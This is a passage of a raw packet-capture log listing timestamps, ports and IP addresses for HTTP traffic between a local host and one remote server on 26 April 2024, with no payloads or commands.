Apr 26, 2024 09:41:40.531235933 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.531255007 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.531272888 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.531275988 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.531290054 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.531291008 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.531312943 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.531331062 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.531351089 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.531369925 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.531385899 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.531393051 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.531404972 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.531404972 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.531421900 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.531441927 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.531455040 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.531472921 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.531495094 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.531512976 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.531933069 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.531963110 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.531977892 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.531991005 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.532006979 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.532010078 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.532020092 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.532044888 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.532078981 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.532118082 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.532130957 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.532183886 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.532187939 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.532207012 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.532222986 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.532233953 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.532242060 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.532244921 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.532258034 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.532275915 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.532284975 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.532313108 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.532315969 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.532350063 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.532365084 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.532382011 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.532398939 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.532406092 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.532418013 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.532442093 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.532447100 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.532465935 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.532481909 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.532489061 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.532500029 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.532522917 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.532541990 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.532561064 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.532579899 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.532582045 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.532596111 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.532598019 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.532615900 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.532622099 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.532643080 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.532645941 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.532661915 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.532677889 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.532695055 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.532701969 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.532721996 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.532728910 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.532742977 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.532747984 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.532762051 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.532771111 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.532789946 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.532815933 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.532957077 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.532995939 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.533044100 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.533062935 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.533081055 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.533087969 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.533104897 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.533119917 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.533123970 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.533138990 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.533160925 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.533164024 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.533169985 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.533183098 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.533199072 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.533202887 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.533221006 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.533229113 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.533241034 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.533243895 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.533260107 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.533266068 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.533279896 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.533296108 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.533296108 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.533299923 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.533318996 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.533319950 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.533335924 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.533351898 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.533370018 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.533387899 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.533407927 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.533410072 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.533422947 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.533446074 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.533447981 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.533464909 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.533483028 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.533483982 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.533500910 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.533502102 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.533519983 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.533519983 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.533538103 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.533540010 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.533555031 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.533579111 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.533590078 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.533607960 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.533624887 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.533627033 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.533642054 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.533658028 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.533673048 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.533691883 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.533709049 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.533710003 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.533729076 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.533730030 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.533747911 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.533765078 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.533770084 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.533783913 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.533802032 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.533804893 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.533818960 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.533824921 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.533839941 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.533847094 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.533860922 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.533876896 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.533910990 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.533941984 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.533941984 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.533941984 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.533955097 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.533998966 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.534003973 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.534023046 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.534051895 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.534064054 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.534066916 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.534107924 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.534487963 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.534533024 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.534560919 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.534603119 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.534625053 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.534663916 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.534665108 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.534697056 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.534704924 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.534739971 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.534907103 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.534946918 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.534970045 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.535012960 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.535036087 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.535053015 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.535070896 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.535072088 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.535090923 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.535094023 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.535111904 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.535118103 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.535129070 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.535152912 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.535176992 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.535195112 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.535212994 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.535218954 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.535238028 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.535257101 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.535262108 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.535279036 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.535296917 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.535303116 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.535315990 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.535316944 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.535335064 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.535340071 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.535353899 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.535357952 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.535375118 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.535391092 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.535434961 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.535454035 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.535470963 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.535480976 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.535495043 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.535499096 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.535516977 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.535517931 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.535538912 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.535561085 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.535938978 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.535980940 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.535985947 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.536020994 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.536030054 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.536039114 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.536057949 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.536077023 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.536088943 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.536125898 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.536138058 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.536173105 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.536191940 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.536211014 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.536233902 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.536246061 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.536273003 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.536304951 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.536317110 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.536323071 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.536340952 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.536345005 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.536364079 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.536377907 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.536421061 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.536437988 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.536454916 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.536459923 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.536473989 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.536480904 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.536493063 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.536498070 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.536511898 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.536524057 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.536530018 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.536536932 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.536549091 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.536557913 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.536577940 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.536596060 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.536597967 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.536617041 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.536633968 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.536638975 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.536659002 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.536678076 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.536700964 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.536719084 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.536737919 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.536747932 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.536761045 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.536766052 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.536784887 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.536786079 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.536803007 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.536803961 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.536824942 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.536849976 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:40.536854029 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:40.536892891 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:41.290828943 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:41.290916920 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:41.530494928 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:41.530724049 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:41.770253897 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:41.770282984 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:41.770452023 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:41.770452023 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.020390034 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.020418882 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.020437002 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.020456076 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.020534992 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.020601988 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.262836933 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.262904882 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.262947083 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.262947083 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.262988091 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.262991905 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.263008118 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.263029099 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.263042927 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.263078928 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.263223886 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.263274908 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.502506018 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.502536058 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.502556086 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.502582073 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.502595901 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.502599955 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.502619028 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.502626896 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.502636909 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.502655029 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.502675056 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.502676964 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.502698898 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.502726078 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.502734900 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.502770901 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.502775908 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.502790928 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.502814054 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.502841949 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.750967979 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.751019955 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.751061916 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.751091003 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.751636982 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.751702070 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.751713037 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.751775980 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.751841068 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.751883984 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.751894951 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.751935005 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.751960993 CEST	80	49736	185.172.128.203	192.168.2.4
